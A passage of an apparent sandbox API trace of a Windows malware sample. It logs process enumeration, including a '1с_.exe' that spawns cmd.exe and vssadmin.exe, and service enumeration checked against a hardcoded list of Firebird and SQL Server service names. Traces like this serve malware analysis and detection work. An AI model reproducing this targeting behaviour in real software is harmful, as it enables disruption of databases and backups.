dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0047.216] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0047.216] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0047.217] lstrlenW (lpString="headline.exe") returned 12 [0047.217] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0047.217] lstrlenW (lpString="army_unsigned.exe") returned 17 [0047.217] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0047.218] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0047.218] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0047.218] lstrlenW (lpString="distribution-gif.exe") returned 20 [0047.218] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0047.218] lstrlenW (lpString="tribunal.exe") returned 12 [0047.218] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0047.219] lstrlenW (lpString="aafeof.exe") returned 10 [0047.219] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0047.219] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0047.219] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0047.219] lstrlenW (lpString="encryption.exe") returned 14 [0047.219] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.220] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.220] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0047.220] lstrlenW (lpString="1с_.exe") returned 7 [0047.220] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.220] lstrlenW (lpString="cmd.exe") returned 7 [0047.220] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.221] lstrlenW (lpString="conhost.exe") returned 11 [0047.221] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.221] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.221] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.222] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.222] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0047.222] CloseHandle (hObject=0x1dc) returned 1 [0047.222] Sleep (dwMilliseconds=0x1f4) [0048.340] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fec0 [0048.340] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0048.341] GetLastError () returned 0xea [0048.341] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x60eb98 [0048.341] EnumServicesStatusExW (in: hSCManager=0x58fec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0048.341] CloseServiceHandle (hSCObject=0x58fec0) returned 1 [0048.342] lstrlenW (lpString="Appinfo") returned 7 [0048.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.342] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.342] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.342] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.342] lstrlenW (lpString="AudioSrv") returned 8 [0048.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.342] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.342] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.342] lstrlenW (lpString="BFE") returned 3 [0048.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.342] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.342] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.343] lstrlenW (lpString="CryptSvc") returned 8 [0048.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.343] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.343] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.343] lstrlenW (lpString="CscService") returned 10 [0048.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.343] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.343] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.343] lstrlenW (lpString="DcomLaunch") returned 10 [0048.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.343] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.343] lstrlenW (lpString="Dhcp") returned 4 [0048.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.343] lstrlenW (lpString="Dnscache") returned 8 [0048.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.344] lstrlenW (lpString="DPS") returned 3 [0048.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.344] lstrlenW (lpString="eventlog") returned 8 [0048.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.344] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.344] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.344] lstrlenW (lpString="EventSystem") returned 11 [0048.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.344] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.344] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.344] lstrlenW (lpString="gpsvc") returned 5 [0048.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.344] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.344] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.345] lstrlenW (lpString="iphlpsvc") returned 8 [0048.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.345] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.345] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.345] lstrlenW (lpString="LanmanServer") returned 12 [0048.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.345] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.345] lstrlenW (lpString="lmhosts") returned 7 [0048.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.345] lstrlenW (lpString="MMCSS") returned 5 [0048.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.346] lstrlenW (lpString="MpsSvc") returned 6 [0048.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.346] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.346] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.346] lstrlenW (lpString="Netman") returned 6 [0048.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.346] lstrlenW (lpString="netprofm") returned 8 [0048.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.346] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.346] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.346] lstrlenW (lpString="NlaSvc") returned 6 [0048.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.346] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.346] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.347] lstrlenW (lpString="nsi") returned 3 [0048.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.347] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.347] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.347] lstrlenW (lpString="PcaSvc") returned 6 [0048.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.347] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.347] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.347] lstrlenW (lpString="PlugPlay") returned 8 [0048.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.347] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.347] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.347] lstrlenW (lpString="Power") returned 5 [0048.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.347] lstrlenW (lpString="ProfSvc") returned 7 [0048.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.348] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.348] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.348] lstrlenW (lpString="RpcSs") returned 5 [0048.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.348] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.348] lstrlenW (lpString="SamSs") returned 5 [0048.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.348] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.348] lstrlenW (lpString="Schedule") returned 8 [0048.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.348] lstrlenW (lpString="SENS") returned 4 [0048.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.348] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.349] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.349] lstrlenW (lpString="Spooler") returned 7 [0048.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.349] lstrlenW (lpString="SysMain") returned 7 [0048.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.349] lstrlenW (lpString="Themes") returned 6 [0048.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.350] lstrlenW (lpString="TrkWks") returned 6 [0048.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.350] lstrlenW (lpString="UxSms") returned 5 [0048.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.350] lstrlenW (lpString="VSS") returned 3 [0048.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.350] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.350] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.350] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.350] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.351] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.351] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.351] lstrcmpiW 